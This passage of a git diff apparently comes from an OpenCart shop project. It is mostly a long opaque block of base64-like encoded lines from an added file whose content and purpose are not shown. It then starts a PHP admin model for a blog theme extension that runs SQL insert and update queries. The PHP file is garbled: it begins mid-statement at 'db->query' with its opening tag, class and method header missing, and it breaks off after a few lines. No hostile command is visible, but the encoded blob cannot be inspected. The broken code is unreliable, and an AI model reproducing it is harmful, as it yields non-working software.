+qL8pQI5l4saLVPifcwRXcLPwWWiwVQwLTtyeioGU+juAhvgMMcWs3rP0gVOLWtWw030XPdPofxny
+q1Ca1vPsAssp8g4Efn5uHpGKv37/NyI3nu0k9vGLBwBxp59VfHmxBGSq8wWmDJs62TlrNIT09kGo
+EL36gzoDA25c/tAR4+4KGRxSXaVHE0hs8YHuMdER0bPdnArPZUA+Vyg+Q9k0rMYTMZQY0V5ZvsuJ
+opvxSG0V7VZzlAfTXOw8M7zGGjC+koCB6/yb7EredEzq8pCEfgzzLU1zFs8q7VWQck2aQczm10dP
+jfiFT4O7aLtwlxE3Q2Z774QWv0gKPO2UDT+csTHUr7RNRIjhQeY5zpqf476XjliLq0ZJ2T6rMRIO
+FhAPRugr+XG2nvDow6Tc49DpIdTyH37b6uG1LSwVLPtIr1U6UfEFuItMTIM2Dgb1Zx9aD84aPTpa
+6cDfESn10zk1PLoouKqT9jjMSp41YzCDVS8mET/GKOFcVt7WN1KOPL9vP8tY+yInQI2SL08j762o
+iTZ9fRW3bI05O3hMeLtltTCMTnYcViaoSkWij7N1Tz3w9up8yL1D9hoym+bcUIS30JWbZQTnGeVe
+0EqQCwY38h8qjAMMnQOAbD59eu5OEeDtuvClRa/Vfal7hpOsVW7Gfujszcc0COpEB8K6GeK4LR8F
+zSapcVZgYFylAKKh4S60Bcxa+o/eOSVrVqdwa65UuK8XnTxRuJyuN9TDj+pqgyn3XG2iBNF+sQ5I
+fC+H+XU62Xw0DRhKiFLK6Yl4nbXuyYhAq4VTNS+dJsXjTBr5RHjw6mIhnVx7aJdSEda0Kc8iBO2c
+sJRz8h8FyNWvH8BhrxPyMdOmXhihSRp59w/9QqDW6/GWgP3Lq3+LLj+Y6kuktmTFbxvJzSzwYUeY
+JgplhQHzIVHHgpMqQf6ZxMXbHEQ7nzBYClFCJAYgoc2TdXu2408Ae11Bx3JkDe7X4EWoasYQLASC
+sF7NaZabzVmEvkLql3YyJcJnJG98cfySY2ZtXeKIO7E1muV9J0TQTMcKaHNZDthH/PN0C2R6eyqF
+c5Q6UdeXhhNyaFmqYxZUx2mbvCs2Lm00cFjZSt6XWwgZVPLAgo+WcoJzcsVMuL/IDc8HUavh1DGC
+SYV2RZxB79DIDyDBRls4m4kbXGLupT52jbVd0+Ux2uroYW/jI8qFJ/GBQ2BANE8g/z0EGfRsg3d8
+QaMMSoWB68WuzUN/yhPxHbIFWjzqpAgdmoUk4MlmN0J9M6F1mfMyudv/0W0lQw1w4ijBWDtmSynJ
+nv0pA8XgDV1F0KvbcOKx97Xidx5AUvcFMzlnxhdTEI5OdgIrgjCMCwqkwEhjn7X4rDrvSUXLNg33
+q8FRJwJsVdz2TyWXbrQj2BDcrXF/GPUlwMdGyyf6BBFI30Mx9CkdEf+iRbV6N6SBx5fvWyKLLXSj
+8SLlucF5+xcnnu/FiotBJzshLEpHORO+utvi48PMn1pVLKVQ7Ia93NByDBRA0cECnKQ6MzJrBQ//
+pPujke38kIz4zJ6WfjNEmfwDxbB/k4Szmw2vawdYSbH+m9H87rpdtk8AXmSKvytkfB0JsGUoHWCl
+MirTLNDxt9WKhVxveDgkfM39JB7oyZ2ZaxXzcdU0t9VOO9G5cEGWGah3JSRh/sPptsv1ngickMwb
+YH0SYwT3bQ/MxizdOVaxr2q6IcvCu0ZZlQAB+ow/xzsr2LkgTvA/JljzYD7sHZQkM8zBuy7Y25+c
+kiHyX7lV7w8ZCCnLlBDErrDzbbn2e/lnUf3nvDxIXl85Utgw/33abZKVoLyQWPNOWN58NFKMudV9
+SQuApCBBKmzLvTAwN/T8LpahnEazZ0teDIH/2v2Zs2284ah7acz7FfuZQ0m9gCzwE//FMlEVb5FQ
+zpg2pueUdJ3gTZrDkUxiesRXCtwqZ0Hjq/wDwzqj+PHPp0tmoObaCo1YQjFr+4n7Hxtsxu+tmD47
+PY1ALWhw0dOwfWz0/xmkk6s9jroaB5A4e/BimlyaBuIJPHJJ0q4TkxoJgW974mDIuxseyFF+GRyJ
+DaOWclhXpecDoPovbZkriQr5h3UHLqw7TyuCqZAo8FldqicOuA7eVXTO5+BSL+rZhn7NMmTGwG3l
+2T/ISwvbDIJ5KRYX14DUvl6rVwj8fSjHz9RbOvMa7U/EMOA308twQSiu9QqSxJ4tLov4Pmowl3Jg
+MrLfeOnOVGgFXpwagu3Y5vPMfsGa/zgDbeLajDYf2SK20Wspwywp1bZ3LcriY2d14OcNrzDgirZH
+4ORx4egR9K9AmGMSWLU2xQmYKMF6qE+qmxX4VfJIcwHTgQCblww1ZVbc3H7LlN+8aik1Q4zp3jna
+Hh5LajnLzenpSnx4dEJDZwYylbil/sfRUHQKjVJZovW17+Js5xzOTCGR3COfjWM9SWMIO4ruGKwK
+gLwpBqadG3REn4bSTrZiG5HOpFBZXTs+644F4nzjiOgmBeST83ZM4ndDPRJXDLUvaRwfyPR4jW/7
+qsX/aXc+p6cL53OmZG9fd9S/5tApYUg6ZtopttIZ/oSw1CkN+DwPn7+Ge+k2BXqKztOHWZ4CxvV2
+5S1MPuPIg375fI6M/dKZ9upBsnyUZxz5VCK8bJDWlwbn9vGUfSSupeXFzFdYcWuIFLELEbw5wKN8
+emgBQVIFLFUVZzITbiLrHk34XT8lFmUwBn39i2uLHrNHRF0jfMvTYtTp04WSlInRpVPwXZZ3pqXs
+S1B2dWLwDOC5YsgsHx5Vmhao6VSARjyYwy4833qUSQcx84mlEYG+9zr9S5FS8JqjB1iWzRjYDH4Z
+sMqVphYH7kgZ18YM07hXJfvZ4aClA84hM4SRSIo+hhl6dVUXGQddKFdozM3Qak3sG5np/RCduHxn
+A4kceu2aw8Q6cHmzjxsVsQnBNkgIRj4iNtwzE0AtHrBBeHus9tzXYeqYw1k6Y2hD2A+J7ShCJG1N
++IiL5f+uEGus3Ga0SecKeeGAYaFTt/zkHUrY/aq0JAvcxb7mY+SO8ytVLXnhqpFbLFk91vw1CyQy
+XmXeODQVMVu/cps4JHW8vrkPY3wXWC3DOmwe0iU1jM7dJ7sWK7YKkPNOJhJGk1WvjK/xEc05+1qL
+lMVb04PexD1NCocyY4d+Aa/HSfRkRWm4LsBbzye7k5bC+/VcUl14duqwAOXR04jDdygDPEJIk8VM
+EH65int0nsL5CB697RHZcCwLYLe/zq39aFXHuV3mxty5IeLyg11UWmBL9qb5a8eLXnwLrdFDHjEo
+O10oEeo4jy9I/nGEcCv6UX5R9phXa+L9NdFLiYhJpNDwrQzDCTN7wRZLPxuIJdb3uQDvHtXYFrFJ
+8oPtoGw7KAaN3U9MlT2pBhTDkv2PtlW+h0onFsRxR3+cVZNbbF2MpJqa0ZWiYG/N7kkMU9XLN/dB
+vL+vw0lAGFzTNh4uyUoOQUOhpix2xFiS6hSfLUx4mvW6b3GAreyUBcHPn/clkzYPyvZR0CZG94N1
+Nma0ZxGsAsxF27ojR/oAl24bNy644LGS9KoG+OAEHQQ5S95Off065uOzg/s5LND4ZCrz/eA0Y4bY
+ZaJLzQLb7CoNI1WQzAsc8XeDikGRezfcezN1po1nZ6MQInHfsdN/902jnzJYqh3eadUGxe9uMjvG
+UVsLzHaAFG8z7Jt0Wnifaq4BCOivOdIUFelYHDzrWdMYqDN/D6fWO4Ou+Mee1fu7GB9K7DjSuEDc
+t6ueUKWke4bXSTPY6ZjUPOPCBxL3QgUdLOvkDlmMwdw3yTI6ExdaPPYiQnqI9F8fIkOOw7wPkLZc
+Gm1SnvpxWOxEZ2Di81N1pKuIqbPYeUcmp8nvn3IDD6XAacQtW1qejl6aom6uL2Noq2pWdgYAuQni
+Ge+wN67HPx73XgCJ9eQQdjAygFc2QB6fbQF5Xqv0TQB1DwLWQbQoxmuzGYLDxh4Nzn2W8XkG6qxR
+ou6WWn5dJ9B4STZ9s222SvS/ztAVCYg1PuSTtwsiWy4DTGQLD4X05zY782P+aiHhEaEjcyk6ag3t
+tRVjFeDgfGBUv0MJdN0D862ya2kAT4Azn0WZWBln7qzoePN/dPcic7t2cZiGGR7AOyXNAWXa16ei
+iQgKPk65yYirkWv7XfuqkjTGyH37j9Xwmc/ZpYENs/HMttbBI41oAlNa0b65uYiMM8pT3yfTB/3s
+AmOliODEuy91uXt0wZgt64JFuwQM1Qj3N9s5t8RUjfsBeC0qmCPenGsQ6DTmMRijkdCe9FLss2oH
+CaecD8oDi6ypWZP0CC9XDIt0PtgwfkcEUsGrTAG++K9JiR9sb+sskLS3LSqMhSWYBdpD2XDoexNF
+SabZjnZ8bsaWBuct+7x9ds56/Jeo9OmMbLHa8nt0PDuCmvh5lyQobC3pBFznZpZcswZMtDZ7phq8
+14XfgYNgN/XvXI0G/AA31nyt0cHjw8uXPyrkW6vQteBr1GFc2p2tWLrJBTgmf20eQEZ9l2YZ6U37
+uE8KhFRqX/7rQFW4RDcFIPzt92S7PDll6MacVg3pzXeQ8evsrot9Wvmea4/pqvoexjUP17zJQ+DZ
+i8249nn9LXb7/aWQ4uQQHYl4NhyMqXbOMhGTGvDPlRZPh3tR/NvE9bSRU+0Bh6b5W8ZNbQjSIp+s
+QUZ0HjUXDg+ailGJL7Mvuzqxp5aZK512LkmukA6vEcgz8NorouZBP1UeZ/XhRihFXfPkQn4rFx0i
+o+DmzrexDGkfnnZ4SEhI1LrLNpUdmaAHNXa4LkwML2Exa8y3l1C1HmynPzXSoRszwPctWxw4iEvV
+1iMO1kFDsB6kgieuKiTmDSBL3m8CUeMQz8dYlRbroRZSu50W+azdfhbHb9EdrhqClmSn075Qfn9s
+4QzzY1PZpmfkC2luRhK+U7V7Qgk0N0Jnw1grhu91AgDsI9rs4jjd0K/0WLAZsdKYYOi3ktj615oW
+rU3CSvszMvRrVpe0C32RBcDBmKi8s3ZZydM5yVjt+WAhIfR56mTevmWAP6GV7osAZwDFRig4IQMY
+Fh96TWd7zyGw8lrEgSGTFiqL26vWe+pJbFHbHyDoTfW1uJsxQ8WwMl6m0K6sCltN3RoiUmFqJYc0
+A/iEGwhdtSdK5tw6HVyHYRxw0UGrqsF+8TAnn/OcDg6P/getjop+pW2arDUbEDT78I0AhprBSkTl
+bxAZX353HvESuLky6KTYoRFZatuNjWWMHLlwzTETifg4cnG50Cvs7n7My/b6UEsiCsU9rNfPYE9E
+nQ9BYPRvlJQiFfPADrc3PgcZVMCjCq0MJJUbzclaJxaEydtM3wblqBCXhaa7aPdg5p2QyIPtVUq0
+bUd/ukRpWz5kFXhcYjykMrJSSDQ60LLVPq+i/iqh2X4DEydu1fqFNaoBYrP7yfpaHxt1CxP7FRJh
+n+GwHB0YnSMeNBkemO3jT2CKzhUVrgsUrZK/4ZFd3wTUPm9b61cqHUubKURqU/AbEnuKBlNB0mE3
+I4YMAosiMkXMnLdVmq/bQ8TsYL4SfROugWeavLpTtibjRL7e9JivbaEmGSTKjy72JjBFVbEyzHXr
+qke96Hi741hmsKT0luIyNnlQehcSFaLlW+PkdYQJ/8yks3qm3vpMHrncr5W5daQC8j+c4P9RDsJE
+SgsW0iOXRoD4vWI2VE3OmWuVVMptw67ds9NmjGyGGiLf2F7oYZJ6Vlb4jv+grsemzryGbglstb5J
+a5eb9nqGbYmOwsU1TOheBDf2juOVLa+vpSiS3N5Cdw9BZAS4HM+XJnh9BGzuRNK9LS08mkc6nQEE
+xBC4jjS7wAfzZGGYylro8CNAVghX4XjLDo7FcSgphh/+dCerAP3vKg6D7bh+hrXwP8GJDQ3/rfbm
+V7Hmg2NIFvNejX2foo6aUsPdWwkaiRvTm0/uNwvSEkxxPIPMjsUgaDZWs+TQHqEMmRW8Fmb47GKk
+7UjrK5FqiQY5TK0nrZFPSArtEY0KgQgb6mvOI+bSJIGa9pO4A5Emz4oTiWd30i/1UmbWJ6lU70Vc
+pOGjnz8Sv5pRMd1EGnGX0z2kU0531+XZ+eQIxfkmJu+AtpN8djA712C+TcCuN5uToL6P5C5fOo7Z
+jWkFDvSzN8sWRDGvW0FLEM+TJFIV3KAgEqueWYNGvtFEelMR/+UEUMRPo6ly29pveop+qFSQdqCO
+IiAfnYGTuPVDHzH0gKXU4oCPezNsTskvReEZv4sMDNMR7Cqbtfs0fk8EV5rXOOaK5yuQFXso+6bl
+lGdVhfM/X0E+jRnvNd0dI7/F1bx4j03z9TWCaMebwINnUgqgx5oKAA2H/6Om2qdkxqrWWmnrx6WR
+/yiV9LBwrbLBKC3tn0fnnAWefUYTpPlPdkRL5nkFtJLDYaxMRfm3RZ7kfeeWSJFebo5GKK1bCY4d
+ZOnUwpCptwlaSFSWwPjkHKC84Blhpbjsjn27rbHgXWt57gM8p1RkfrmiqYkvFy6Kughs/kQ4FqLt
+U2dRfCdGdZ1FbLiUgI41SyChymTlQ7t49alnVqoIAwsQdXyB0R9k0MP0DdfO38KWc0FQV5felwhj
+5q6hNdH4kaTciJr+ixTblvjAyvZcye5BHs497Q0rbOqvsQ6N46+wDo+Dq5OQlmS2z//owewyy9ko
+CpBlBELirh5PfadQUuEOnMEfaHZByMjTr846sInpOr5DG/Tl+hn+Kt6CqZzQlypinxB/dpja5lj1
+1OW+vElhEhAJth66Yov9yEPvLiC/YQDcegxPyp7iPZzwgPymVJzC+UjcLxe4kuaqV43GkwiXTewZ
+omKfCwKYFHi++TSQVHmg0aGYw3uFj6YcYfgLtqhPZUEj7hKbLIL1boXTAD1s732Q0u4WYiNnVBPo
+Y1/SWPadH7uHSaorXbH4HVbELA+Q1Ab8nXC/t0h26jydLvbEiLCtO4wg+ESc2ifDQ2qc762mTArI
+RBwrS6jYjhjlB/Rr/NWa4WqdyeY6v2I4ApGM7ePFdv18VoH6JdzDci2n/3RtHQ6ebnaHcnvbKhqd
+pcLGMX1mhCEbuaOdjf8A9q+jJswITPSd+R9M5UQrcu2HJ2xbVDtJeqOCV9Sk9ipTjFV99MtepCXg
+Sxm0c4AsniBIqpHdlYe0tRKj2xC8eAGoJtIxxsvevECUS+GQpEzoCPiPQSxPXIFNoS9m25ZlJFnf
+aliNzEVTqZt8fyiY6KmDYANY04ymqm8YVE46Yq2bAYtWqBc0JMEvgfTn5ixCJB3I+z5uVwtVT/zw
+58zpUSizUMj1MtoNxTN2xB0QLrjxWvu/pDHPj8/Q3OfvMMXX9Qm+H5SsREOE1gRnx0BjsHYm2qUP
+0ieZ9aRQPr0f0A3AhSmFWbOZ3wkwMjjXcMlD6MxAxk5O2WxevZVyniMJhKDXR3dMUqsjgpXwtDiU
+2mwlVVZAThz41O//qMQVIcsi4xd9fdmqHrqprN40JdnD3vFLssqobaEq6eP7nzxcfgkVvK9Sfvfj
+CWpzvRoiyPPBmGYwlWWOG46cSfg/U4wOzNnezqQfbD0F2TYWu4V5SDHNselclIUas241ZMT5pE3P
+k9zZvJ+lVd9BegMBzXYic62Yu2n3CRQ9o+ezwEVuMapAuSx28LF/OW+t5EKIOdMcKrsnQ/+zua6b
+V7DXJHQ9umHqiK4dIUp5s+RaCdnwNIcYWohE2ilz25J652W77/53ZIXJ4dnNEsbyXHZgwd/cOS88
+ycfFMTPDA+ijBA16ThamwIHKxptmUCE6gRm8dg1xEL+1MGRzv+zXuYh+QziCpdJQow5CxJLUp7ix
+bplYZ9XwbPyKUenzqFbkDtjg2bOzRPoerzJbBhirwgybiaFzC/+WIlVHbPakcNVIyp5elV2driUk
+ZNpbN2wGtpW6ip3nQ/5lfzjRQaDgEbMpuMfXWIfPLr4DewvsfZc+Bd9vtuzMbGmtdWKZ+Qut17+L
+v9okIOIFpYXDZbM1Wh5OoVXMgwP1OuRwwW6usq9BwQdXXim3Wi1iBRC3xTCMez0sd+INSXfzV6di
+4QuHEX/1EuCkYlsNCsyuDLF6iUKrX+pGKiXv2LLA6A+Skl20DQm652QjCJN1GLkXdTXFstC7hdCP
+wnThfwzKmFUbxzMjX1kiLrNohqPhVtlvJP8Cqa4pOT2PVUwezV6Ne6Q1cnVnkllgKLp9Eysa83sj
+MpuGtzsreZzZ/yarOPon6Gbmcoce2aAGqbCpIUGeUXM3AwmfRmjJQk5JYd+/uTwU7Qw+UJWBg5uN
+PosM6KIuvORPmJUoAElRMl9tcmaTIf+nSMTej8AW+P+Oaqo/Nxs7P54+CW86XjChYkfbkS4RHnJO
+tb96C69G78wDxav+6frj2EequcDs5UqkhqgNp77V1LmFtqhPCbFK/hoGfYs4jf6ge8cuNtDT4F6y
+tIfpHWXl2ZWgQ/CQtJcPIVm7NuCt9lR8UEQ6rByW/prPRV34hmOpIr9QKSGwRGd+3NqDbRG+rQt/
+iwuLb717Brvc15zWQYXH/IfdmuGg1ZqIk53t6gni1rH9gqiiNH1sVSS/K3z/Bw5KkTr+iril1G26
+BVYlkB//QJRyvlc8CgN2qln7SDp8kdU1zxcQKtOWlJBDy+rPBSYAPgRblsxt7Ur7rFEh9+BAcJ3i
+x+Y59wVlxbQN5+SbXmT8oYilvbtcZb1zqV1K5reHzRxFVjkbxX3bH1fP9P0LIOZHvY9CennmvqfM
+Sx4PNBtRkOOvnkbXUzAxrtDy9OSrYEKGuOQi8aYUGLhAP6ZrC+GN3QxnFYYklWwG9crU3pGm/961
+4TtbHq157R93DFXyeukme5ubJld481Shc3bldQOl5TAfpiETLTrvIbJLRR0m+uqqJ62C0+3c5OWC
+NNdwNg1yBllouKedRV/+LbQPzaiGYtFXeP1rOrz3D27OyubLUTuAgFLis6yf6ciECJwexvmxidkr
+Xbxz7eVcJBR6xBw4qjREIHlkCPz0+pjUasH65ITDQe2ie9Rh7OtmUONtdLNNqbP3FTtZCVk2hzxF
+4stNbn8HHuAJd3U3eDJM0W2Z3IoNamaewowUAeFMX4grC7JFgsJvOvmPrMNROlpUM/hZLMd1WhS8
+Cwv6QIDAt5rF6be/vyisBSUFoW2Qi2ESEEEcfyNDyq+YLEbAiCbfXM9ljiNaqIIWVuenoJK0SoL8
+H53JByN5InPe01eGBlAqZZ6X7q8R586H9lqkrmRxTZK1GOBR6DUWVUzV//aGLhQj6nIHtgSpKbOC
+vfn0K9qGAvSvUGgaMIzoElqViNRSlfSA4BDMkI5+Idvb342w5c+4NQGPriz63laaKKkkbN3WX0C/
+0jMK6pa2dCJVxBgH2+8DwURIy0D68Z9PJbh38ocvVGOD/nb+xmpIYAqsrA4iWRR2SbhWprD19rtk
+/Q+848vynR7q+dvMpJVBJjHFS3eJgYdFGgY6xE+NcUCaB1yijGeC+mHRqymzXxjdTvFnezR9Zcjx
+VlKgFT6ZkhhkK2utGUfQenABnYSjXt2N7dT4Hvqj3W/3rcM5+I1CTKkezZeCxTzzeDiT95anrLBG
+pydwQ8iHYnYXct66RJzZ+VJaBEff7j+yCuC/Yfu984sWGi4oVW9S+hqsE6RXKHzIpYG1BFGHZlE6
+lk5EPVcGEVpGM7uihCvs1orOa4bJT+3vtEhMgfIvYyAEcXfEetQtYoVqnJMxQcnc4fL5ZnFGEwCj
+drLN0XVEbyWDRWlUEbE9wdmH/WjtqhKoJx5v2sGHsKHDyJJEQ4TWvWqM3SphpsGXKh3RVfpBYCJc
+YnFO85w8rTUUIBiWfxooqHG7RWstKkBroIMwc2vL3bie3W3EMqWQuO3H4BjSOzmiz7eu9jaoe1XI
+0IVdEZ2FZH4iAUBzI2KakPSR9+q93g8LjLWBqhKDQeOf8D4r0yqrBGGG8i9egdBcYD5YDj+lP+u5
+CfsRQgeGhkIKgZWSlRdk41As0iW3p0MNOwviIxCOTNzOzf2xgXrH4m8mm5LPwgBNegISbJi7GQQG
+mptOOVpIVDU7R4jJpgbfCTeJCiDtDPLswqYH3iSuisf0bwNaPeleOacHTiZkX1HPLIt3mp7Qla7Q
+7X0kyJLsfcXdzOphWPhAHv4tYi4BpCExampqvm73KNaEeFLBhj++J9U83AhB93FedM8op39D9lgj
+LBKXiptMtbgKSAL9laoEBAl1yyvLXcgC9VgFRBUn3P8r8wgv+d9hXeqX6uYcc5+IbdTw7tjz8yyY
+kteW21jEG9uLt1lJBi0aCvGUwRRC2MWrPqXAMqJTLqEE1JlccHfMtABUuM1IE9UExzMcfRG6tWxM
+fHUPYLWmLlIq8awWcwHHvucVGL6UGXTZ4nGYXSoj2cIKTqCMoaJsNBUxQ6eMDKY776O6+tgPWATv
+f28c0w+AXnwZoXSTftv6QjSteMWcLbAVJ+23lWdEZ2xCG3XtdCBP69GsGN8P8EYkvGChw8oiR4FX
+IAZKpTNsf0GO8qd5mZszDgCMWRj8bPUM4tCmHoq5EJJhFeSH5BJu+o3JQi9mQk5AblF2EapndlEG
+IVfWHNO6PTBIKrig2pWNnYuQkXxFIKBcFXORtImcm5b+BrJaNaYTeX7hQkxwRubmynEBpyIFqE4V
+RrlzPEghGQkR13ZhmnomWuYGsaBmrC7MtBcNYmBaXSBGTe0EdsSCzuBTXLE/OLtA+yR/OOKawe0A
+c6ohtVVcot7pnMMtxOQoctjd7++j1fynC1PB28OZSUXQCwbYbTX1G3tXI7Hluk+qcgQer2MwKQo1
+ft0XxUVzZpZ2Y2qFCVziAstESAkHUWVeE2ar/YNRPfUwKZuPGc2mQx5drhyG9LXSPoInUV0FfniC
+tp/ZBi7YRRPQSh2ZVwLXwY3XXfdeOPYMiLqOiofToa17+EDvLDqUObSutjXp8SsgWKh41ofnMFhI
+xCKUwF0wDlwRWyKVIQq+XIZrCizDMAPF02xJ6PjLAG6jDIhzwRe9dz7jR//vi+igkzlaJ1gbZ5Z3
+BnPiLBR11+sTNLyJ1/gdPNR5JEkLw2NKLKvte72lCQeOSVelv2jKT6cW2XS96JgIlbs4pmvUX31W
+sGiepS0J6kzD7xIXtcSV16f5OcGsELp59JQGwxDYx7jyZUBwYNy6NPxViU3BfGf679sVRtqYnmoD
++c3ZxCnziIedJUtySQk21/6Mr9DCgQ00AVTfW/0aLUXTKYCDUL3umcu1ii15+OjWouGRhO54d3Vf
+ne6IZf/rvRegtDrj97m2N/bKx4ltBsl8mSeYBB7bQIybshjjj+SNidJoM6vEpckTmQJGWNwIBnWg
+gJNinyRWHX4v/utPVnsTXEN5vCjv+Hd635/5GArGRPr2uWqnBVX37/cgGL91a/+knHD0jnSLSHws
+SD9wLvbIs/7oLHwAIEBlE3gX0Yq1PHPQ3uFCFZVDcqRHuYA+mpZshKc0W62U3wmbWv2y/2ImMGjO
+T+xSLHMO0Cvlo+RyWgJVBxz9k7GaSdLg5n0zvuYEBfx2JR52QiCX5pOaa8RjzA9N6zV4hHkjdm1/
+MBvrZj2alvd0upkVnxzPxSbIruPNnTw2DN81jPaAZU8F6E0QqBcE61DjHFugwqIt/cnlKR7sDFnz
+VFqsee9FGH0rN9dPs0moZ5bQUf1FRtGFp0/UXA6skH4MKmL86sR/3Ng70BcLf/sCYjP1hmw46Z3t
+h0Urn5WosdznOO99kCRpICy9Jch1qBIeeabuYP6N3b12B4YdXEhuowE1IB4tsldavN/rlapazY6K
+JiYJ47cTA3CtcXC9FmyeKorjsYO/pqasbXq9xQLcswwLEDIa4ivVHflm0d/cICfnHD0D6va/82yX
+Zg2pnrvacN372NWttKDmduUTonTNZNwMuh+stvBPSSSBz6e4ZxEW/dv7d4zmnokNzhNDfJAEEQbr
+3tAuIJ7JwVs5BuioujdIfGQrMreAsDRft5ojXOah2KIQT2/OhZ2uSixDY3yGb5f6kv2JxST/kgUt
+VT/rh8dELRGp0+Y9yWI+y7oXxsgeRgioe0onCuZYKWs/74AoAe2qdiw3YW0hr2wxSf4qcQsO1eaq
+GyCtzwFllrl8ks51kAtnHAK2I8c985sOnqA5NymwhfywDpw6LmQHChqQKVjQa5l+Jhyrn8m4ZX5f
+bc0lwWlRQI0VJW/0drpmuSK61Wr8uakYVYazxmT8zUPxT/+cDsVEbyzlI8vpiE/GRM2MEIKkGbTo
+wtpZQmqcO0Jutsi95Z7aADp2vftN+2YAVWOdPsPOAuP59YiW1ykawModYGSQ8tEOx5UkvnVLY9Is
+CVCwSyF5PtPr5wvKFfSoWufD5gQy6g1SBLRkx7k9ZOClpiIjLgwF1H8//r8CxqcUNg9Xwvhau6b4
+d1Beh1KBU9NdOlCgInj4E5jp5v4wiDbxssfVKP93fe7eBIf3KGPx4ZLVgUxgQXj3Ar7jvo1WHPtb
+cOeAcEHmHF2FhaktdMJRLxaJHw/dVBlgkFnDInrEZS1wlcMqM5K5uMLS3P+ZWdf4U5vA36S2fwQ2
+XP68eQ4DRu2qeRurObd4TD4Kzncmqb1esX3q6OCrmuaHXNHky/X5vcZVC8/vXkW0aT7Pj3H6lsTU
+OjeNY+xIzorPG92UkBUvatn1abWzKzx2wJlksIh9z4Mup75UMaJXEH2z+ilqLDk+HziPhHPwWKFO
+ojfMJjpL83IGmOsB8bp9lWWSYp1WE63SWtcCThVMv+CK0lIBflMvnHAUGZSaRiGOp3Z2/sUbNQSP
+1OLlU3MM5d1oyflqLCQdJ3ORHPoGmMCoxWGtzk25AXSNOdE6a6oSv/0Lk1qS61+Mj7DXFaPp3oQp
+mkZo4xPnEOys5bwiEmYbtFkLN6rXlb7GQYwqKfnwUusZuN8lvPB3kGij5536Zj3U6tXurbtJVX4n
+m4lKbBbHbKeDkqQuCquwnZDu+FXEAyWh90NOc0l9gDEPGhSwOLp0vmYkamwsdCqcDJU4cIxEzc/b
+VJVO1f8tfsnS8rIvPX58/uR3hnH+yaeC17eEjBDn5PTIwu6L5J+4igBKU5ym6bPF58VIVTrDobr4
+hYWSe8/hgwqu0e6eUQ2laIQL/KeLmfUDe6WEfZT0scphCaUOY4i6spYuJRIkFmjqz/vdpe8WIIRE
+rEKzLYw7IlFUN3YwtiZGiMEdwvhW8HIjrw1DkxTc/3SwDYuopHPbwuUCLu6sKc3BPrjFpcG/liMu
+DWRUSczNvvloCpYJ6QlJR37f3qlSl6Qc5CDxGBDYJarqWcTQKMmZER0LlrkfDq+ckv4q5LtU2yuz
+PdnyxISF2e3z5+ZrTbXFDT4B4P6Jhz7czUhF5O2IXX0SbbnMI2zE7JF3xWk0IdZNpkazVZItfHsQ
+YNusdv2MGmbgEXdYkLavaIA3Xs0BwYI0vncznHfy6RjB/wXeDPqXonS7Aad02aKz4+YGhOii39mC
+MYcTQty1ZaVopiuSoQTC9bLbJYXzKC0XjbnZlV0bv0pXCkRdigHupYHgSrVnBRNzNIZMe/xiKf2J
+gvG1qSn87nU2eOe/qbmHfFxt8cRJibo71Pruh/lteBXD/zJElhPjoxQ2AJShSON8xbKaBkZvlXYy
+k/YwO6v+jyeuQgv54PP18G1H+XSMDb3bARqkJLdjV0o6HXtvy7rkkU6WKOFLq2IH7yQxhQhyZ1Mw
+Do0BWVpWvhaV5Cxl88pFUMURqNBgCaiwg20OHo0m3rvRQN1Ri3uADBAa//ibg0JxfC1lRwcN4C8z
+7rzkDdZ/6612xxp6B/gB1eNVDgcfKkqzsSpXqg3zGmnDjEOq69JmUmxiLtq6H6fNmESwQwFeOWj/
+HJbuBzv8foJ7nDQncb6dPCQc557ynzINGDTJGUK85K0aZ+alq1ycLxTnZLkiTn4slGx0NgekY3Af
+ho8MTWpnTIt5CjVCk7cADSRY6wRUy8MkoFPHKjWA2F76UJK2E+WKDJhgJVAhapGYGZ303HpoNg5W
+neZIDSXHZQ4En7TwW4SvJq8igKvoHiePPqZi7hgavihz3sSCtrE8AukUydnrZxUeEuKSZTsCUiGQ
+9Og/P08iGq2OH5QpOTxZqrFf1rNzSjje0YGaYEWLg7zIAweJQKnXBDFRR5ytDiGDuW1vROV4mI9z
+lFi+jXifdu44Ewcnnhkjdgt9WbTN856nqeF3TIMSfHmLs9wuo2PVbh9kSuDuukiSgWnqxCDqzEqg
+zWq15k64Y7Y+zZJLZ5o46l9zp5cgP6mbWhqerIilLHHucr+Kwcqtuo+dmtiKRjvOixG9lJk25uxZ
+ELmV+GuTSm5zihe4qL3SNNUOPqhmuHmn34TWt1zoxhURNekrLbIGgo1ugK5MBwpQBfdt1LE36z3+
+JZlwv5/FRBnL0cNpoSLGnLYTXe/aLApnRdkSee9QBWaD5yDfIMua+V5HuWIEK2HUvhoCqGCZ46dO
+VlxSESnmu6K2/x2rte9CfVtcQ8bVXWaEUodrnhhKDBQ3ypqt/8APRGJ2e5cWeI881dWgCq35n66j
+bkk3zLyLNXD2IejavBOWTrQWwsIjl5dNS4JzGowJ8+UrvUEoKOSvoB9wTixAQZsyf/pOkecglKKI
+xTdixIC0RdqtyalTuSB7Th21h7DBiT0vAprnf4Yt8oK+7ikWWphDqQFxCHAUo0GoQ4pOKUg5GjVG
+dUIk/54PZ88XG5UD32vN9kgWq0Q5mTGwQNpMFMDx3YrBO/10hrWdXpJnQmwoMspuSsWXlQSTVDpg
+3zV6nMNaQROCPhsQs8DYXCM9siDAv0CYy/ai8dVm6vqCaQTq9rj7vuwNIHZGRHBAkkrYTEjXKm7S
+mCCLqQRI1ctmf9D4qLAau/8Nm1RV1pid/+GlGRnLxaKNy9nPD8d7QDgKpGHhVrN7XnyHyqweWTE+
+x0==
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/lightshopblog.php b/public/admin/model/extension/theme/lightshopblog.php
new file mode 100644
index 0000000..2c26950
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopblog.php
@@ -0,0 +1,413 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+ }else{
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+ }
+ $blog_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+ }
+
